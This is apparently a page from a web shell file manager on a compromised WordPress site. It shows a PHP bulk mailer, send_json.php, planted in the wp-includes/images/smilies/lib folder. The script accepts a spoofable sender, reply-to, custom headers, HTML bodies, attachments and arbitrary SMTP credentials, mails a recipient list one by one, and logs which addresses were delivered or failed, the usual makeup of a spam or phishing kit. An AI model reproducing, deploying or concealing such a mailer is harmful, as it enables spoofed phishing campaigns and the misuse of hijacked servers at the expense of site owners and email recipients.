Your IP : 216.73.216.40


Current Path : /home/ladengineer/public_html/wp-includes/images/smilies/lib/
Upload File :
Current File : /home/ladengineer/public_html/wp-includes/images/smilies/lib/send_json.php

<?php
// send_json.php
require_once __DIR__ . '/Exception.php';
require_once __DIR__ . '/PHPMailer.php';
require_once __DIR__ . '/SMTP.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

header('Content-Type: application/json');

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    echo json_encode(['success' => false, 'message' => 'Invalid request method']);
    exit;
}

$json = file_get_contents('php://input');
$data = json_decode($json, true);

$required = ['senderName', 'senderEmail', 'subject', 'recipients', 'emailBody'];
foreach ($required as $field) {
    if (empty($data[$field])) {
        echo json_encode(['success' => false, 'message' => "Missing required field: $field"]);
        exit;
    }
}

// Validation
if (!filter_var($data['senderEmail'], FILTER_VALIDATE_EMAIL)) {
    echo json_encode(['success' => false, 'message' => 'Invalid sender email']);
    exit;
}
foreach ($data['recipients'] as $recipient) {
    if (!filter_var($recipient, FILTER_VALIDATE_EMAIL)) {
        echo json_encode(['success' => false, 'message' => "Invalid recipient email: $recipient"]);
        exit;
    }
}

// Extract data
$senderName   = mb_convert_encoding($data['senderName'], 'UTF-8', 'auto');
$senderEmail  = filter_var($data['senderEmail'], FILTER_SANITIZE_EMAIL);
$replyTo      = mb_convert_encoding(filter_var($data['replyTo'] ?? $senderEmail, FILTER_SANITIZE_EMAIL), 'UTF-8', 'auto');
$subject      = mb_convert_encoding($data['subject'], 'UTF-8', 'auto');
$recipients   = $data['recipients'];
$emailBody    = mb_convert_encoding($data['emailBody'], 'UTF-8', 'auto');
$emailFormat  = $data['emailFormat'] ?? 'plain';
$useSmtp      = $data['useSmtp'] ?? false;
$smtpSettings = $data['smtpSettings'] ?? [];
$attachment   = $data['attachment'] ?? null;
$htmlAttachment = $data['htmlAttachment'] ?? null;
$customHeaders  = $data['customHeaders'] ?? [];

$successLog = 'success.txt';
$failedLog  = 'failed.txt';

$mail = new PHPMailer(true);
$mail->CharSet = 'UTF-8';
$mail->Encoding = 'base64';

$results = ['success' => true, 'sent' => [], 'failed' => []];

// SMTP Configuration
if ($useSmtp && !empty($smtpSettings)) {
    $smtp = $smtpSettings[0];
    $mail->isSMTP();
    $mail->Host = $smtp['host'];
    $mail->Port = $smtp['port'];
    $mail->SMTPAuth = true;
    $mail->Username = $smtp['user'];
    $mail->Password = $smtp['pass'];
    $mail->SMTPSecure = ($smtp['encrypt'] === 'ssl') ? PHPMailer::ENCRYPTION_SMTPS : PHPMailer::ENCRYPTION_STARTTLS;
}

$mail->setFrom($senderEmail, $senderName);
if (!empty($replyTo)) {
    $mail->addReplyTo($replyTo, $senderName);
}

$mail->Subject = $subject;
if ($emailFormat === 'html') {
    $mail->isHTML(true);
    $mail->Body = $emailBody;
    $mail->AltBody = strip_tags($emailBody);
} else {
    $mail->isHTML(false);
    $mail->Body = $emailBody;
}

// Attachments (once)
if ($attachment) {
    $fileContent = base64_decode($attachment['base64']);
    $mail->addStringAttachment($fileContent, $attachment['filename'], PHPMailer::ENCODING_BASE64, $attachment['mimeType'] ?? 'application/octet-stream');
}
if ($htmlAttachment) {
    $mail->addStringAttachment($htmlAttachment['content'], $htmlAttachment['filename'], PHPMailer::ENCODING_BASE64, 'text/html');
}

// Custom headers
foreach ($customHeaders as $name => $value) {
    $mail->addCustomHeader($name, $value);
}

// ====================== SEND LOOP ======================
foreach ($recipients as $recipient) {
    try {
        $mail->clearAddresses();
        $mail->addAddress($recipient);

        $mail->send();

        // Log ONLY the email (one per line)
        file_put_contents($successLog, $recipient . "\n", FILE_APPEND);

        $results['sent'][] = $recipient;

    } catch (Exception $e) {
        // Log ONLY the failed email (one per line)
        file_put_contents($failedLog, $recipient . "\n", FILE_APPEND);

        $results['failed'][] = $recipient;
        $results['success'] = false;
    }
}

// Final Response
if ($results['success'] && empty($results['failed'])) {
    echo json_encode(['success' => true, 'message' => 'All emails sent successfully']);
} else {
    echo json_encode([
        'success' => false,
        'message' => 'Some emails failed',
        'sent_count'   => count($results['sent']),
        'failed_count' => count($results['failed']),
        'sent'   => $results['sent'],
        'failed' => $results['failed']
    ]);
}